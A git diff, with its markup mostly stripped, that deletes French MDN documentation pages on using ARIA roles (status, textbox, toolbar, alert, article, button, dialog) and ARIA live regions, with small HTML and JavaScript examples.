Les technologies d’assistance devraient être à l’écoute de tels événements et les notifier à l’utilisateur en conséquence :

- -
- Note : il existe plusieurs points de vue sur la façon dont les technologies d’assistance devraient traiter cette technique. L’information fournie ci-dessus est l’une de ces opinions et n’est pas normative.
-

Exemples

-

Exemple 1 : ajout du rôle status dans le code HTML

-

L’extrait de code ci-dessous montre comment le rôle status est ajouté directement dans le code source HTML.

-
<p role="status">Vos modifications ont été automatiquement enregistrées.</p>
-
-

Exemples concrets :

-

Notes

-

Attributs ARIA utilisés

- -

Techniques ARIA connexes

- -

Compatibilité

-

À définir : ajouter les informations de prise en charge pour les combinaisons les plus courantes d’agents utilisateurs et de produits de technologies d’assistance.

-

Autres ressources

- diff --git "a/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_role_textbox/index.html" "b/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_role_textbox/index.html" deleted file mode 100644 index 0fe3c2efbd..0000000000 --- "a/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_role_textbox/index.html" +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: Utiliser le rôle textbox -slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_role_textbox -tags: - - ARIA - - Accessibilité - - Rôle -translation_of: Web/Accessibility/ARIA/Roles/textbox_role ---- -

Description

- -
-

Cette technique présente l’utilisation du rôle textbox et décrit les effets produits sur les navigateurs et les technologies d’assistance.

-
- -

Le rôle textbox est utilisé pour identifier un élément permettant la saisie d’un texte librement formaté. Lorsque ce rôle est ajouté à un élément, le navigateur émettra un événement textbox accessible aux produits de technologie d’assistance qui pourront alors le notifier à l’utilisateur.

- -

L’utilisation par défaut est pour un champ de saisie monoligne où Entrée ou Retour, enverra le formulaire, par exemple, comme avec le HTML <input type="text">. Lorsqu’on a un champ multilignes et que les retours à la ligne sont pris en charge, par exemple avec l’utilisation d’un élément HTML <textarea>, il est également nécessaire de définir l’attribut aria-multiline="true".

- -

Lorsqu’un champ texte est en lecture seule, cela devrait être indiqué en utilisant l’attribut aria-readonly="true" sur l’élément concerné.

- -

Effets possibles sur les agents utilisateurs et les technologies d’assistance

- -

Lorsque le rôle textbox est ajouté à un élément, ou qu’un tel élément devient visible, l’agent utilisateur devrait suivre les étapes suivantes :

- - - -

Les technologies d’assistance devraient être à l’écoute de tels événements et les notifier à l’utilisateur en conséquence :

- - - -
Note : il existe plusieurs points de vue sur la façon dont les technologies d’assistance devraient traiter cette technique. L’information fournie ci-dessus est l’une de ces opinions et n’est pas normative.
- -

Exemples

- -

Exemple 1 : ajout du rôle textbox dans le code HTML d’un champ de saisie monoligne <input>

- -

L’extrait de code ci-dessous montre comment le rôle textbox est ajouté directement dans le code source HTML.

- -
<input type="text" role="textbox" value="Voici du texte" />
- -

Exemple 2 : ajout du rôle textbox dans le code HTML d’un champ de saisie multilignes <textarea>

- -

L’extrait de code ci-dessous montre comment le rôle textbox est ajouté directement dans le code source HTML.

- -
<textarea role="textbox" aria-multiline="true">
-  Voici du texte
-  …
-  sur plusieurs lignes.
-</textarea>
-
- -

Exemples concrets :

- -

Notes

- - - -

Attributs ARIA utilisés

- - - -

Techniques ARIA connexes

- -

N/A

- -

Compatibilité

- -

À définir : ajouter les informations de prise en charge pour les combinaisons les plus courantes d’agents utilisateurs et de produits de technologies d’assistance.

- -

Autres ressources

diff --git "a/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_role_toolbar/index.html" "b/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_role_toolbar/index.html" deleted file mode 100644 index 890b809cba..0000000000 --- "a/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_role_toolbar/index.html" +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: Utiliser le rôle toolbar -slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_role_toolbar -tags: - - ARIA - - Accessibilité - - NeedsContent - - Rôle -translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_toolbar_role ---- -

Description

-
-  
-

Effets possibles sur les agents utilisateurs et les technologies d’assistance

-

 

-
- Note : il existe plusieurs points de vue sur la façon dont les technologies d’assistance devraient traiter cette technique. L’information fournie ci-dessus est l’une de ces opinions et n’est pas normative.
-

Exemples

-

Exemple 1 :

-

 

-
Code
-

Exemples concrets :

- -

Notes

-

Attributs ARIA utilisés

-

Techniques ARIA connexes

-

Compatibilité

-

À définir : ajouter les informations de prise en charge pour les combinaisons les plus courantes d’agents utilisateurs et de produits de technologies d’assistance.

-

Autres ressources

diff --git "a/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_r\303\264le_alert/index.html" "b/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_r\303\264le_alert/index.html" deleted file mode 100644 index 990d7dff4a..0000000000 --- "a/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_r\303\264le_alert/index.html" +++ /dev/null @@ -1,134 +0,0 @@ ---- -title: Utilisation du rôle alert -slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_rôle_alert -tags: - - ARIA - - Accessibilité - - Rôle - - À relire -translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_alert_role ---- -

Description

- -
-

Cette technique présente l’utilisation du rôle alert (en) et décrit les effets produits sur les navigateurs et les technologies d’assistance.

-
- -

Le rôle alert est utilisé pour communiquer un message important et généralement avec une notion d'urgence à l’utilisateur. Lorsque ce rôle est ajouté à un élément, le navigateur émettra un événement d'alerte accessible aux produits de technologie d’assistance qui pourront alors le notifier à l’utilisateur. Le rôle alert est le plus utile lorsqu’il s’agit d’attirer l’attention de l’utilisateur, par exemple si :

- - - -

De fait de sa nature intrusive, le rôle alert doit être utilisé avec parcimonie et uniquement dans les situations où l’attention de l’utilisateur est immédiatement requise. Les changements dynamiques de moindre urgence devraient utiliser une méthode moins agressive, telle que aria-live="polite" ou autres rôles de zone live.

- -

Effets possibles sur les agents utilisateurs et les technologies d’assistance

- -

Lorsque le rôle alert est ajouté à un élément, ou qu’un tel élément devient visible, l’agent utilisateur devrait suivre les étapes suivantes :

- - - -

Les technologies d’assistance devraient être à l’écoute de tels évènements et les notifier à l’utilisateur en conséquence :

- - - -
Note : plusieurs points de vue existent sur la façon dont les technologies d’assistance devraient traiter cette technique. L’information fournie ci-dessus est l’une de ces opinions et n’est pas normative.
- -

Exemples

- -

Exemple 1 : Ajout du rôle dans le code HTML

- -

L’extrait de code ci-dessous montre comment le rôle alert est directement ajouté dans le code source HTML. Au moment où l’élément finit de se charger, le lecteur d’écran doit être notifié de l’alerte. Si l’élément était dans le code source original lorsque la page s’est chargée, le lecteur d’écran annonce immédiatement l’erreur après la lecture du titre de la page.

- -
<h2 role="alert">Votre formulaire ne peut être soumis à cause de 3 erreurs de validation.</h2>
-
- -

Exemple 2 : Ajout dynamique d'un élément avec le rôle alert

- -

Cet extrait de code crée dynamiquement un élément avec un rôle alert et l’ajoute à la structure du document.

- -
var myAlert = document.createElement("p");
-myAlert.setAttribute("role", "alert");
-
-var myAlertText = document.createTextNode("Vous devez accepter nos conditions d’utilisation pour créer un compte.");
-myAlert.appendChild(myAlertText);
-document.body.appendChild(myAlertText);
-
- -

Note : le même résultat peut être obtenu avec moins de code en utilisant une bibliothèque de scripts telle que jQuery :

- -
$("<p role='alert'>Vous devez accepter nos conditions d’utilisation pour créer un compte.</p>").appendTo(document.body);
-
- -

Exemple 3 : Ajout d'un rôle alert à un élément existant

- -

Parfois, il peut être utile d’ajouter un rôle alert à un élément déjà visible dans la page plutôt que de créer un nouvel élément. Ceci permet au développeur de répéter une information devenue plus pertinente ou urgente pour l’utilisateur. Par exemple, un contrôle de formulaire peut avoir des instructions sur les valeurs attendues. Si une valeur différente est saisie, role="alert" peut être ajouté au texte de l’instruction pour que le lecteur d’écran l’annonce comme une alerte. L'extrait de pseudo-code ci-dessous illustre cette approche :

- -
<p id="formInstruction">Vous devez cocher au moins trois options</p>
-
- -
// Lorsque l’utilisateur essaye de soumettre le formulaire avec moins de 3 cases cochées :
-document.getElementById("formInstruction").setAttribute("role", "alert");
- -

Exemple 4 : Rendre visible un élément avec le rôle alert

- -

Si un élément possède déjà role="alert" et qu’il est initialement caché par des règles CSS, le rendre visible déclenchera l’alerte comme si elle venait juste d’être ajoutée à la page. Cela signifie qu’une alerte existante peut être « réutilisée » plusieurs fois.

- -

Note : dans la plupart des cas cette approche n’est pas recommandée, parce qu'il n'est pas idéal de masquer une erreur ou un texte d’alerte qui n’est pas applicable à ce moment précis. Les utilisateurs de technologies d’assistance plus anciennes pourraient toujours percevoir le texte d’alerte même si l’alerte ne s’applique pas à ce moment, faisant croire de façon erronée aux utilisateurs à l’existence d’un problème.

- -
.hidden {
-  display:none;
-  }
-
- -
<p id="expirationWarning" role="alert" class="hidden">Votre session expirera dans 2 minutes</p>
-
- -
// suppression de la classe 'hidden' rend l’élément visible, ce qui entraînera l’annonce de l’alerte par le lecteur d’écran :
-document.getElementById("expirationWarning").className = "";
- -

Exemples concrets :

- - - -

Notes 

- - - -

Attributs ARIA utilisés

- - - -

Techniques ARIA connexes

- - - -

Compatibilité

- -

À définir : ajouter les informations de prise en charge pour les combinaisons les plus courantes d’agents utilisateurs et de produits de technologies d’assistance.

- -

Autres ressources

- - diff --git "a/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_r\303\264le_article/index.html" "b/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_r\303\264le_article/index.html" deleted file mode 100644 index 083051aa61..0000000000 --- "a/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_r\303\264le_article/index.html" +++ /dev/null @@ -1,66 +0,0 @@ ---- -title: Utiliser le rôle article -slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_rôle_article -tags: - - ARIA - - Accessibilité - - Rôle - - À relire -translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_article_role ---- -

Description

- -
-

Cette technique présente l’utilisation du rôle article (en) et décrit les effets produits sur les navigateurs et les technologies d’assistance.

-
- -

Le rôle article est utilisé pour identifier une section de page qui forme une partie indépendante d'un document, d'une page ou d'un site. Les exemples d'article peuvent être des billets de blogs ou des articles d'un magazine ou d'un journal ou encore les commentaires soumis par les utilisateurs. Ils sont indépendants dans le sens où leur contenu pourrait être autonome, par exemple pour un flux de syndication.

- -

Les articles peuvent être imbriqués. Par exemple, une entrée de blog sur un site acceptant les commentaires des visiteurs pourrait représenter ces commentaires comme des articles incluent dans l'article de l'entrée de blog.

- -

Le rôle ARIA article est similaire à l'élément {{ HTMLVersionInline("5") }} {{ HTMLElement("article") }}. Cependant l'élément {{ HTMLElement("article") }} devrait toujours recevoir le rôle ARIA article car toutes les technologies d'assistance ne prennent pas encore en charge HTML5.

- -

Effets possibles sur les agents utilisateurs et les technologies d’assistance

- -

Lorsque l'utilisateur navigue dans un élément ayant le rôle article, les technologies d'assistance qui interceptent généralement les événements clavier standards doivent basculer en mode de navigation du document, plutôt que de passer les événements clavier à l'application web.

- -

Les technologies d'assistance doivent fournit une fonctionnalité permettant à l'utilisateur de naviguer dans la hiérarchie de chacun des éléments article imbriqués.

- -
Note: il existe plusieurs points de vue sur la façon dont les technologies d’assistance devraient traiter cette technique. L’information fournie ci-dessus est l’une de ces opinions et n’est pas normative.
- -

Exemples

- -

Utilisation du role article sans élément article :

- -
<div role="article">
-
-  <h1>Une titre de billet de blog</h1>
-  <p>contenu du billet...</p>
-
-  <div class="comments">
-    <div role="article">
-      <p>Un premier commentaire</p>
-    </div>
-    <div role="article">
-      <p>Un deuxième commentaire</p>
-    </div>
-  </div>
-
-</div>
-
- -

Exemples concrets :

- -

Notes 

- -

Attributs ARIA utilisés

- -

Techniques ARIA connexes

- -

Compatibilité

- -

À définir : ajouter les informations de prise en charge pour les combinaisons les plus courantes d’agents utilisateurs et de produits de technologies d’assistance.

- -

Autres ressources

- -

Spécification WAI-ARIA du rôle article (en)

diff --git "a/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_r\303\264le_button/index.html" "b/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_r\303\264le_button/index.html" deleted file mode 100644 index 55038b46da..0000000000 --- "a/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_r\303\264le_button/index.html" +++ /dev/null @@ -1,123 +0,0 @@ ---- -title: Utilisation du rôle button -slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_rôle_button -tags: - - ARIA - - Accessibilité - - Role(2) - - Rôle - - À relire -translation_of: Web/Accessibility/ARIA/Roles/button_role ---- -

Description

- -
-

Cette technique présente l’utilisation du rôle button.

-
- -

Ce rôle devrait être utilisé pour des éléments cliquables qui déclenchent une réponse lorsqu’activés par l’utilisateur. Par lui-même, role="button peut faire apparaître n’importe quel élément (par exemple <p>, <span> ou <div>) sous la forme d'un contrôle bouton à un lecteur d’écran. De plus ce rôle peut être utilisé en combinaison avec l’attribut aria-pressed pour créer des boutons à bascule.

- -
Note : lorsque c’est possible, il est recommandé d’utiliser les boutons HTML natifs (<button>, <input type="button" /> et <input type="image" />) plutôt que le rôle button, les boutons HTML étant plus largement pris en charge par les anciennes technologies d’assistance. Les boutons HTML natifs obéissent également par défaut aux évènements clavier et aux règles de focus, sans besoin de personnalisation supplémentaire.
- -

Clavier et focus

- -

Les boutons sont des contrôles interactifs et doivent donc être focalisables. Si le rôle button est ajouté à un élément qui n’est par lui-même pas focalisable (tels que <span>,<div> ou<p>), l’attribut tabindex devra être utilisé pour rendre le bouton focalisable.

- -

Les boutons doivent pouvoir être actionnés tant par une souris qu’avec un clavier. Pour les boutons HTML natifs, l’évènement onclick du bouton sera déclenché par les clics de souris et lorsque la barre d’espace ou la touche entrée est actionnée alors que le bouton a le focus. Si role="button" est utilisé pour créer un bouton personnalisé, l’évènement onclick ne sera déclenché qu’après un clic par le pointeur de la souris. À cause de cela, le développeur devra explicitement ajouter un gestionnaire d’évènements clavier séparé à l’élément pour que le bouton puisse être actionné lorsque les touches barre d’espace ou entrée sont pressées.

- -
Attention : faites attention à l’utilisation de rôle button pour des liens. Les boutons devraient être actionnés à l’aide de la barre d’espace ou la touche entrée, alors qu’on s’attend à ce que les liens soient déclenchés avec la touche Entrée. En d’autres termes, lorsque des liens sont utilisés comme des boutons, le seul ajout de role="button" n’est pas suffisant. Il est également nécessaire d’ajouter un gestionnaire d’évènement clavier qui surveillera la barre d'espace afin d’être cohérent avec les boutons natifs.
- -

Boutons à bascule

- -

Un des avantages de l’utilisation de role="button" est qu’il permet la création de boutons à bascule. Un bouton à bascule peut avoir deux états : pressé et non pressé. Qu’un bouton soit ou non un bouton à bascule peut être indiqué avec l’attribut aria-pressed en plus du rôle button :

- - - -

Labelliser les boutons

- -

Les boutons doivent toujours avoir un nom accessible. Pour la plupart des boutons, ce nom sera le même que le texte du bouton. Dans certains cas, par exemple pour des boutons icônes, le nom accessible peut être donné à l’aide des attributs aria-label ou aria-labelledby.

- -

Effets possibles sur les agents utilisateurs et les technologies d’assistance

- -

Lorsque le rôle button est utilisé, les agents utilisateurs doivent présenter l’élément comme un contrôle bouton à l’API accessibilité du système d’exploitation. Les lecteurs d’écran doivent annoncer l’élément comme un bouton et décrire son nom accessible. Les logiciels de reconnaissance vocale doivent autoriser le bouton à s’activer en dictant le mot « clic » suivi par le nom accessible du bouton.

- -
Note : il existe plusieurs points de vue sur la façon dont les technologies d’assistance devraient traiter cette technique. L’information fournie ci-dessus est l’une de ces opinions et n’est pas normative.
- -

Exemples

- -

Exemple 1 : un bouton simple

- -

Dans l’extrait de code ci-dessous, on donne le rôle button à un élément <span>. Parce qu’un élément <span> est utilisé, l’attribut tabindex est requis pour rendre le bouton focalisable et le faire appartenir à l’ordre de tabulation. Remarquez que cet extrait de code implique que les styles CSS sont fournis pour donner l’apparence d’un bouton à l’élément <span> et que hanldeBtnClick et handleBtnKeyUp sont des gestionnaires d’événements qui exécutent l’action du bouton lorsqu’il est cliqué et lorsque la barre d’espace est pressée.

- -
<span role="button" tabindex="0" onclick="handleBtnClick()" onKeyUp="handleBtnKeyUp()">Enregistrer</span>
- -

Exemple 2 : un bouton à bascule

- -

Dans cet extrait de code, un bouton HTML natif est converti en un bouton à bascule à l’aide de l’attribut aria-pressed. Remarquez que l’attribut tabindex n’a pas à être utilisé ici car l’élément <button> est déjà focalisable par défaut. Lorsque le bouton est activé, la valeur de aria-pressed bascule entre true et false :

- -
<!DOCTYPE HTML>
-<html lang="fr">
-  <head>
-    <meta charset="UTF-8">
-    <title>Exemple de rôle ARIA button</title>
-    <style type="text/css">
-      [role="button"] {
-       padding:3px;
-       border: 1px solid #CCC;
-      }
-      [role="button"][aria-pressed="true"] {
-       border: 2px solid #000;
-      }
-     </style>
-    <script type="text/JavaScript">
-      function handleBtnClick(event) {
-        event = event || window.event;
-        var pressed = event.target.getAttribute("aria-pressed") == "true";
-        //change la valeur de aria-pressed quand le bouton est basculé :
-        event.target.setAttribute("aria-pressed", pressed ? "false" : "true");
-        //… (perform the button's logic here)
-      }
-
-      function handleBtnKeyUp(event) {
-        event = event || window.event;
-        if (event.keyCode === 32) { // contrôle la touche espace
-          handleBtnClick(event);
-        }
-      }
-    </script>
-  </head>
-
-  <body>
-    <button role="button" aria-pressed="false" onclick="handleBtnClick(event)" onKeyUp="handleBtnKeyUp(event)">Mode Édition</button>
-  </body>
-</html>
-
- -

Exemples concrets :

- - - -

Notes

- -

Attributs ARIA utilisés

- - - -

Techniques ARIA connexes

- -

Compatibilité

- -

À définir : ajouter les informations de prise en charge pour les combinaisons les plus courantes d’agents utilisateurs et de produits de technologies d’assistance.

- -

Autres ressources

diff --git "a/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_r\303\264le_dialog/index.html" "b/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_r\303\264le_dialog/index.html" deleted file mode 100644 index 62da7745fb..0000000000 --- "a/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_r\303\264le_dialog/index.html" +++ /dev/null @@ -1,148 +0,0 @@ ---- -title: Utilisation du rôle dialog -slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_rôle_dialog -tags: - - ARIA - - Accessibilité - - Développement Web - - Rôle -translation_of: Web/Accessibility/ARIA/Roles/dialog_role ---- -

Description

- -
-

Cette technique présente l’utilisation du rôle dialog (en).

-
- -

Le rôle dialog est utilisé pour marquer une fenêtre ou une boîte de dialogue d’application web qui sépare le contenu ou l’UI du reste de l’application web ou de la page. Visuellement, les boîtes de dialogues sont généralement placées par dessus le contenu de la page, à l’aide d’un calque (ou « Overlay »). Les boîtes de dialogue peuvent être non-modales (ce qui signifie qu’il est toujours possible d’interagir avec le contenu situé hors de la boîte de dialogue) ou modales (ce qui signifie qu’on ne peut interagir qu’avec le contenu de la boîte de dialogue).

- -

Marquer un élément de dialogue avec le rôle dialog aide les technologies d’assistance à identifier le contenu des boîtes de dialogue comme étant regroupé et séparé du reste du contenu de la page. Cependant, le seul ajout de role="dialog" n’est pas suffisant pour rendre une boîte de dialogue accessible. De plus, il faut veiller à ce qui suit :

- - - -

Les sections ci-dessous décrivent comment ces deux exigences peuvent être satisfaites.

- -

Labélisation

- -

Bien qu’il ne soit pas obligatoire que la boîte de dialogue elle-même reçoive le focus, elle doit quand même besoin d’être labélisée. Le label donné à la boîte de dialogue fournira des informations contextuelles pour les contrôles interactifs qu’elle contient. En d’autres termes, le label de la boîte de dialogue agit comme label de regroupement pour les contrôles qu’elle contient. On peut comparer cela à la façon dont un élément <legend> fournit un label de regroupement pour les contrôles contenus dans un élément <fieldset>.

- -

Si une boîte de dialogue a une barre de titre visible, le texte de cette barre peut être utilisé comme label pour la boîte elle-même. La meilleure façon de le faire est d’utiliser l’attribut aria-labelledby pour l’élément role="dialog". De plus, si la boîte de dialogue contient une description supplémentaire, en plus du titre de la boîte, le texte de la description peut être associé avec la boîte de dialogue à l’aide de l’attribut aria-describedby. Cette approche est illustrée dans l’extrait de code ci-dessous :

- -
<div role="dialog" aria-labelledby="dialog1Title" aria-describedby="dialog1Desc">
-    <h2 id="dialog1Title">Vos informations personnelles ont correctement été actualisées.</h2>
-
-    <p id="dialog1Desc">Vous pouvez modifier vos informations personnelles à n’importe quel moment depuis la section « Compte utilisateur. »</p>
-
-    <button>Fermer</button>
-</div>
-
- -
Gardez en tête que le titre d’une boîte de dialogue et sa description ne doivent pas être focalisables afin de toujours être perçus par les lecteurs d’écran opérant en mode non-virtuel. La combinaison du rôle ARIA dialog et des techniques de labélisation devrait permettre aux lecteurs d’écran d’annoncer les informations de la boîte de dialogue lorsque le focus arrive sur cette dernière.
- -

Gestion du focus

- -

Une boîte de dialogue a des exigences particulières concernant la façon dont le focus clavier doit être géré :

- - - -

Effets possibles sur les agents utilisateurs et les technologies d’assistance

- -

Lorsque le rôle dialog est utilisé, l’agent utilisateur doit faire la chose suivante :

- - - -

Lorsque la boîte de dialogue est correctement labélisée et que le focus est déplacé vers un contrôle à l’intérieur de la boîte, les lecteurs d’écran devraient annoncer le rôle accessible du dialogue, son nom et éventuellement sa description avant d’annoncer l’élément qui a reçu le focus.

- -
Note : plusieurs points de vue existent sur la façon dont les technologies d’assistance devraient traiter cette technique. L’information fournie ci-dessus est l’une de ces opinions et n’est pas normative.
- -

Exemples

- -

Exemple 1 : une boîte de dialogue contenant un formulaire

- -
<div role="dialog" aria-labelledby="dialog1Title" aria-describedby="dialog1Desc">
-    <h2 id="dialog1Title">Formulaire de souscription</h2>
-
-    <p id="dialog1Desc">Nous ne partageons pas ces informations avec des tierces parties.</p>
-
-    <form>
-        <p>
-            <label for="firstName">Prénom</label>
-            <input id="firstName" type="text" />
-        </p>
-
-        <p>
-            <label for="lastName">Nom</label>
-            <input id="lastName" type="text" />
-        </p>
-
-        <p>
-            <label for="interests">Intérêts</label>
-            <textarea id="interests"></textarea>
-        </p>
-
-        <p>
-            <input type="checkbox" id="autoLogin" />
-            <label for="autoLogin">Intérêts</label>
-        </p>
-
-        <p>
-            <input type="submit" value="Enregistrer les informations"/>
-            </p>
-    </form>
-</div>
-
- -

Exemple 2 : une boîte de dialogue basée sur un Fieldset comme contenu alternatif

- -

Pour prendre en charge les navigateurs ou les produits de technologies d’assistance qui ne prennent pas ARIA en charge, il est également possible d’appliquer le balisage dialog à un élément fieldset comme contenu alternatif. Ainsi le titre de la boîte de dialogue sera toujours annoncé correctement :

- -
<fieldset role="dialog" aria-labelledby="dialog1Title" aria-describedby="dialog1Desc">
-    <legend>
-        <span id="dialog1Title">Vos informations personnelles ont correctement été actualisées.</span>
-        <span id="dialog1Desc">Vous pouvez modifier vos informations personnelles à n’importe quel moment depuis la section « Compte utilisateur ».</span>
-    </legend>
-
-    <button>Fermer</button>
-</fieldset>
-
- -

Exemples concrets :

- - - -

Notes

- -
Note : bien qu'il soit possible d’empêcher les utilisateurs de clavier de bouger le focus vers des éléments en dehors des boîtes de dialogues, les utilisateurs de lecteurs d’écran ont toujours la possibilité de parcourir ce contenu pratiquement en utilisant le curseur virtuel du lecteur d’écran. À cause de cela, les boîtes de dialogue sont considérées comme des cas spéciaux du rôle application : on s’attend à ce qu’elles soient parcourues avec le mode de navigation non-virtuel par les utilisateurs de lecteur d’écran.
- -

Attributs ARIA utilisés

- - - -

Techniques ARIA connexes

- - - -

Compatibilité

- -

À définir : ajouter les informations de prise en charge pour les combinaisons les plus courantes d’agents utilisateurs et de produits de technologies d’assistance.

- -

Autres ressources

diff --git "a/files/fr/accessibilit\303\251/aria/zones_live_aria/index.html" "b/files/fr/accessibilit\303\251/aria/zones_live_aria/index.html" deleted file mode 100644 index 8b163bc582..0000000000 --- "a/files/fr/accessibilit\303\251/aria/zones_live_aria/index.html" +++ /dev/null @@ -1,122 +0,0 @@ ---- -title: Zones live ARIA -slug: Accessibilité/ARIA/Zones_live_ARIA -tags: - - ARIA - - Accessibilité - - Avancé -translation_of: Web/Accessibility/ARIA/ARIA_Live_Regions ---- -

Introduction

- -

Dans le passé, un changement dans une page web débouchait souvent sur une relecture intégrale, ce qui agaçait souvent l’utilisateur, ou au contraire très peu ou pas de lecture du tout, rendant inaccessible une partie, voire l’ensemble des informations. Jusqu’à récemment, les lecteurs d’écran n’étaient en mesure d’améliorer cela du fait de l’absence d’éléments standardisés pour prévenir le lecteur d’écran d’un changement. Les zones « live » ARIA comblent cette lacune et fournissent des solutions aux lecteurs d’écran afin de savoir si et comment interrompre l'utilisateur lors d’un changement.

- -

Zones « live » basiques

- -

Le contenu dynamique qui s’actualise sans rechargement de la page est généralement une zone ou un composant d’interface. Les changements de contenu simples, sans interaction possible, devraient être marqués comme des zones « live ». Ci-dessous, voici une liste de chaque propriété relative à une zone « live » ARIA et sa description.

- -
-
aria-live :
-
L’attribut aria-live=VALEUR_POLITESSE est utilisé pour définir la priorité avec laquelle le lecteur d’écran devrait traiter une mise à jour dans une zone « live » – les valeurs possibles sont : off/polite/assertive. La valeur par défaut est off. Cet attribut est de loin le plus important.
-
aria-controls :
-
L’attribut aria-controls=[LISTE_IDs] est utilisé pour associer un contrôle avec les zones qu’il contrôle. Les zones sont identifiées comme un ID dans un élément {{ HTMLElement("div") }}, et plusieurs zones peuvent être associées à un unique contrôle, en séparant les identifiants des zones par un espace, par exemple : aria-controls="maZoneID1 maZoneID2".
-
Nous ne savons pas si aria-controls pour les zones « live » est utilisé dans des technologies d’assistance modernes, et si oui lesquelles. Des recherches sont nécessaires.
-
- -

Normalement, seul aria-live="polite" est utilisé. Toute zone recevant une mise à jour qu’il est important de faire suivre à l’utilisateur, mais pas au point de le déranger dans sa navigation, devrait recevoir cet attribut. Le lecteur d’écran lira les changements dès que l’utilisateur sera inoccupé.

- -

Pour les zones de moindre importance, ou qui seraient perturbantes à cause d’actualisations répétées et rapprochées ou toute autre raison, il est possible de les rendre silencieux avec aria-live="off".

- -

Cas d’étude simple : une ''combobox'' actualise des informations utiles à l’écran

- -

Un site web spécialisé dans l’ornithologie fournit une liste déroulante avec des noms d’oiseaux. Lorsqu’un oiseau est sélectionné dans la liste, une zone de la page web est actualisée avec les détails concernant la famille d’oiseaux choisie.

- -

<select size="1" id="bird-selector" aria-controls="bird-info"><option> .... </select>

- -
<div role="region" id="bird-info" aria-live="polite">
- -

Lorsque l’utilisateur sélectionne un nouvel oiseau, l’information est lue. Du fait de la valeur polite, le lecteur d’écran attendra une pause de la part de l’utilisateur. Ainsi, descendre dans la liste ne déclenchera pas la lecture pour chaque oiseau visité par l’utilisateur, mais uniquement pour celui qui sera finalement choisi.

- -

Préférences de rôles pour les zones « live » spécialisées

- -

Dans les cas prédéfinis répandus ci-dessous, il est préférable d’utiliser un des rôles de zone « live » spécifique fourni :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
RôleDescriptionCompatibilité
logChat, erreur, jeux ou autres types de journalisationPour maximiser la compatibilité, ajouter un aria-live="polite" redondant lorsque vous utiliserez ce rôle.
statusUne barre d’état ou une zone de l’écran qui fournit un état actualisé de quelque chose. Les utilisateurs de lecteur d’écran ont à leur disposition une commande spéciale pour lire l’état courant.Pour maximiser la compatibilité, ajouter un aria-live="polite" redondant lorsque vous utiliserez ce rôle.
alertMessage d’erreur ou avertissement souligné à l’écran. Les alertes sont particulièrement importantes pour la validation côté client notifiée à l’utilisateur. (TBD: lien vers un tutoriel sur les formulaires ARIA avec des informations plus complètes)Pour maximiser la compatibilité, ajouter un aria-live="assertive" redondant lorsque vous utiliserez ce rôle. Attention, cette redondance occasionne un problème de double restitution orale dans VoiceOver sur iOS.
progressbarÉlément hybride entre un composant d’interface et une zone « Live ». Utilisez ce rôle avec les attributs aria-valuemin, aria-valuenow et aria-valuemax. (TBD : Ajouter plus d’informations pour cet élément). 
marqueePour faire défiler un texte, comme pour un téléscripteur ou un afficheur alphanumérique. 
timerPour tout type de minuterie ou d’horloge, tel qu’un compte-à-rebours ou un chronomètre. 
- -

Zones « live » avancées

- -

(TBD : Qu'est-ce qui est pris en charge par qui ?)

- -

Le support général des zones "Live" a été ajouté à JAWS à partir de la version 10.0. Windows Eyes supporte les zones "Live" depuis la version 8.0 "pour une utilisation en dehors du mode de navigation (Browse Mode) pour Microsoft Internet Explorer et Mozilla Firefox". NVDA a ajouté un support basique pour les zones "Live" pour Mozilla Firefox en 2008 et qui a été amélioré en 2010 et 2014. En 2015 un support basique fut également ajouté à Internet Explorer (MSHTML).

- -

The Paciello Group propose des informations sur l'état du support des zones "Live"(2014). Paul Jadam s'est intéressé plus particulièrement au support des attributs aria-atomic and aria-relevant.

- -
-
aria-atomic :
-
L’attribut aria-atomic=BOOLÉEN est utilisé pour définir si le lecteur d’écran doit ou non présenter la zone « Live » comme un ensemble, même si une partie seulement de la zone est modifiée – Les valeurs possibles sont false/true. La valeur par défaut est false.
-
aria-relevant :
-
L’attribut aria-relevant=[LISTE_DES_CHANGEMENTS] est utilisé pour définir quel type de changements est adéquat à une zone « Live » – les valeurs possibles sont additions (addition)/removals (suppression)/text (texte)/all (tous). La valeur par défaut est « additions text. »
-
aria-labelledby :
-
L’attribut aria-labelledby=[LISTE_ID] est utilisé pour associer un ou des libellés à une zone. Le fonctionnement est similaire à celui d'aria-controls mais les références d'id pointent vers les libellés associés aux blocs identifiés, et les références multiples sont également séparées par un espace.
-
aria-describedby :
-
L’attribut aria-describedby=[LISTE_ID] est utilisé pour associer une ou des descriptions à une zone. Le fonctionnement est similaire à celui d'aria-controls mais les références d'id pointent vers les textes descriptifs associés aux blocs identifiés, et les références multiples sont également séparées par un espace.
-
- -

Cas d’étude avancé : liste de contacts

- -

